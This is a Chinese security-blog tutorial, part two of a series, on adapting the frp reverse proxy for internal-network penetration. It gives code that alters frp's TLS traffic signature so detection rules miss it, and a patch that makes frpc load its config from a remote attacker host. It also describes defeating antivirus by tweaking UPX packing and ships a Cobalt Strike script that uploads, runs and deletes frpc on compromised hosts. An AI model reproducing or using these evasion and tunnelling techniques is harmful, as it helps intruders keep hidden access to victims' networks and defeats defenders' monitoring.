内网渗透代理之frp的应用与改造(二)

上篇:https://www.anquanke.com/post/id/231424

0x4 frp的改造

0x4.1 修改特征

正常来说,开了tls加密,流量都会加密,所以是没办法直接检测出来的。

不过官方文档有说到一个有趣的特征,结合上面的分析确实如此:

从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tls_enable = true 来启用此功能,安全性更高。

为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。

通过将 frps.ini 的 [common] 中 tls_only 设置为 true,可以强制 frps 只接受 TLS 连接。

注意: 启用此功能后除 xtcp 外,不需要再设置 use_encryption。

为了端口复用,所以建立TLS链接的时候,第一个字节为0x17

用wireshark跟一下流很容易也发现这个固定特征:

image-20210210021004860

很明显嘛,在这里先发了一个1字节的数据包,作为表示要进行TLS协议巴拉巴拉的。

然后后面接着一个包就是固定243的大小, emm,你觉得我写个判断frp流量的规则像不像切菜呢?

简单跟下代码,看看怎么修改这个特征:

简单理解下TLS协议的工作原理:

SSL : TLS 握手过程

tls协议有个服务端生成证书和密钥的过程,frp是自动实现生成的tls.config:

image-20210210022408091

怎么生成的呢?

image-20210210022611865

服务器生成是这个:

func generateTLSConfig() *tls.Config {
    key, err := rsa.GenerateKey(rand.Reader, 1024)
    if err != nil {
        panic(err)
    }
    template := x509.Certificate{SerialNumber: big.NewInt(1)}
    certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &key.PublicKey, key)
    if err != nil {
        panic(err)
    }
    keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(key)})
    certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})

    tlsCert, err := tls.X509KeyPair(certPEM, keyPEM)
    if err != nil {
        panic(err)
    }
    return &tls.Config{Certificates: []tls.Certificate{tlsCert}}

客户端InsecureSkipVerify设置了不检验证书:

func (svr *Service) login() (conn net.Conn, session *fmux.Session, err error) {
    xl := xlog.FromContextSafe(svr.ctx)
    var tlsConfig *tls.Config
    if svr.cfg.TLSEnable {
        tlsConfig = &tls.Config{
            InsecureSkipVerify: true,
        }
    }
    conn, err = frpNet.ConnectServerByProxyWithTLS(svr.cfg.HttpProxy, svr.cfg.Protocol,
        fmt.Sprintf("%s:%d", svr.cfg.ServerAddr, svr.cfg.ServerPort), tlsConfig)
    if err != nil {
        return
    }

后来经过我多次的wireshark分析,我发现243大小这个数据包与证书信息是没很大关系的(我也去尝试修改了证书的参数值,发现并没有改变),应该是固定的,应该是yamux建立流通道时的数据, 同时因为是tcp分段的

image-20210210202918027

最终会在这个包进行将多个分段合并成一个包,所以后面我决定采取另外一个方案了,通过补充单字节为多字节,这样也能做到一定的混淆。

很简单,直接通过修改tls.go的处理逻辑:

image-20210211140938576

最终实现的效果:

image-20210211134328105

可以看到0x17的特征+后面243字节的特征都已经被修改了,最终socks5插件也是能正常运行的,其他插件没有进行测试,有兴趣的师傅可以仔细跟一下具体的执行流程。

0x4.2 加载配置文件优化

因为frp不支持命令行设置插件的参数,所以有时候我们需要上传个frpc.ini 是蛮不方便的。

看了一些网上的修改教程,都是蛮暴力的, 比如直接修改成命令行输入的形式。

而且挺麻烦的,只改了tcp的,改其他协议又要自己新增,反正我觉得贼麻烦的。

我们通过分析流程

image-20210211151100640

frpc -c frpc.ini

传入的参数最终会进入到runClient->config.GetRenderedConfFromFile

那么我的想法是啥呢?

原本的不足:

我们平时就是觉得多一个配置文件留在客户端不安全,且麻烦,也难以部署等等

通常来说我们的跳板机都是默认可以访问到我们部署的服务端的,

那么为什么我们不采取远程加载配置文件的方式呢?

ex:frpc -c http://xq17.org/frpc.ini

这种方式当然也是兼容原来指定本地路径的,也就是说原生功能并不影响。

这种方案好处如下:

1.考虑安全性,可以考虑采取对配置文件进行异或,笔者觉得这个没啥用,你们可以自己发挥

2.针对1,我建议的是,执行成功之后,直接关掉你的远程配置文件就行了,没有那么多花里胡哨的。

代码如下:

记得引入一下net.http的库

models/config/value.go修改其中函数为如下:

func GetRenderedConfFromFile(path string) (out string, err error) {
    var b []byte
    rawUrl := path
    if strings.Index(rawUrl, "http") != -1{
        log.Info("http schema")
        response, _err1 := http.Get(path)
        if _err1 != nil {
            panic(_err1)
        }
        defer response.Body.Close()
        body, _err := ioutil.ReadAll(response.Body)
        if _err != nil {
            return
        }
        content := string(body)
        out, err = RenderContent(content)
        return

    }else{
        log.Info("local path")
        b, err = ioutil.ReadFile(path)
        if err != nil {
            return
        }
        content := string(b)
        out, err = RenderContent(content)
        return
    }
}

看下效果:

image-20210211183849092

成功解析:

image-20210211183947975

image-20210211184007926

emmm,感觉还是挺不错的。

0x4.3 压缩体积和免杀

因为日常环境杀软都是存在于window环境,所以这里只生成window下的frpc.exe来做演示

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -o winfrp64.exe main.go

查看下大小13m:

du -m winfrp64.exe
-----------
13    winfrp64

原生编译:

经过测试:

卡巴斯基不杀,全家桶不杀,火绒也不杀

杀毒网测试VirusTotal:

image-20210211191110632

有两个国外的杀软识别出是风险文件,很准直接得出是代理工具frp,估计提取了frp的特征来做的:

>

ESET-NOD32

A Variant Of Win64/Riskware.Frp.C

Symantec

FastReverseProxy

那么怎么解决这个被杀且被识别出frp的问题呢?

下面讲讲超级简单的免杀与伪装的思路:

尝试upx压缩

upx -9 win64frp.exe

程序大小压缩了一半变为了7m,然后去检测一下,肯定风险会变高的。

而且国内最常见的av也报毒了。

image-20210211191531681

emm,这种不可取,难道要搞点高端操作? 加载器shellcode? 源码免杀,源码混淆?

也不是不行,不过考虑到有点牛刀小用了。

我忽然想起来很久以前,自己折腾的无特征免杀的方式

我自己测试步骤如下:

1.先给程序添加图标、光标等资源

2.然后upx -1 压缩

3.修改一些upx的小特征,替换开头那些upx字符串为u0x之类的,版本信息改高点(修改下upx的解压信息部分)即可

最终实现的效果如下,不能直接脱掉upx壳,主流杀软也Bypass:

vt分析结果:https://www.virustotal.com/gui/file/f3e79f813cce51e5b4976606da2bc8798c6789d5b9fd2667c124761dc4e0bee6/detection

文件大小也变为原来的1半了,如果你还想更加小,其实还有一些极致的压缩和免杀办法,涉及到程序源文件的一些修改,后面有空可以更深入研究下,做到更底层更极致从而效果更好。


至于那个microsoft不知道怎么回事, 我测试了几个机器的defender都没杀,所以说,还是勉强可用的吧。(喜欢全绿强迫症的师傅,免杀的方式其实还有很多种,只是没去一一实践。欢迎师傅找我一起探讨呀,)

 

0x5 frp-CS插件化集成

  1. 首先我们编译打包所有版本的frp到一个文件夹直接执行下面项目下面这个package.sh编译程序即可,(PS.原生免杀,需要小体积如上操作即可)image-20210211225801563这个到时候我会放在githud的release,因为frp是严格检验版本的,所以需要相同版本,这样也方便小伙伴们直接下载就可以用。
  2. 开始编写CS插件
    popup beacon_bottom {
        menu "Frp Proxy"{
            item "Upload" {
                $bid = $1;
                $dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
                drow_text($dialog, "UploadPath",  "path: ");
                dbutton_action($dialog, "ok");
                dialog_show($dialog);
            }
            sub upload {
                # switch to specify path
                bcd($bid, $3['UploadPath']);
                bsleep($bid, 0 ,0);
                if (-is64 $bid['id']) {
                    bupload($bid, script_resource("/script/x64/frpc.exe"));
                }else{
                    bupload($bid, script_resource("/script/x86/frpc.exe"));
                }
                show_message("Executing cmmand!");
            }
            item "Run"{
                $bid = $1;
                $dialog = dialog("Run frpc", %(uri => "http://x.x.x.x/frpc.ini or c:\\frpc.ini", bid => $bid), &run);
                drow_text($dialog, "uri",  "configURI: ");
                dbutton_action($dialog, "ok");
                dialog_show($dialog);
            }
    
            sub run{
                local('$Uri');
                $Uri =  $3['uri'];
                bshell($bid, "frpc.exe -c  $+ $Uri ");
                show_message("Executing cmmand!");
                bsleep($bid, 30, 0);
            }
    
            item "Delete" {
                # local("bid");
                bshell($1, "taskkill /f /t /im frpc.exe &&  del /f /s /q frpc.exe");
            }
        }
    }
    

    整体来说比较简单,但是因为函数是异步的,所以命令的完整执行得用其他办法去实现,后面我再读读文档,尝试优化下。

    最终完整运行效果如下:

    image-20210212013541939

    然后这个项目我放在了我的github:FrpProPlugin

    欢迎师傅们给我点个star,和提出完善的思路。

 

0x6 碎碎念式总结

本文是基于frp V0.33版本来写的,现在frp都更新到0.35了,代码可能产生了部分差异,比如那个0x17的变量就改名了,不过整体没很大差异。还有就是代理工具还有蛮多工具,比如venom在多级代理的时候、通信加密等方面做到也很不错,不过我个人比较喜欢FRP,因为更专业,应用更广泛,功能也更丰富,后面如果有机会,可以将市面常用的代理工具进行对比分析,与大家一起探讨更多姿势。
(PS.特征千变万化,少年别只观一处,orz…)

 

0x7 参考链接

知乎提问

DNS隧道技术iodine简介

【ATT&CK】端口转发技术大全(下)

实现SOCKS5协议

FRP 内网穿透

cs插件编写参考

HTTPS详解二:SSL / TLS 工作原理和详细握手过程

frp改造

(完)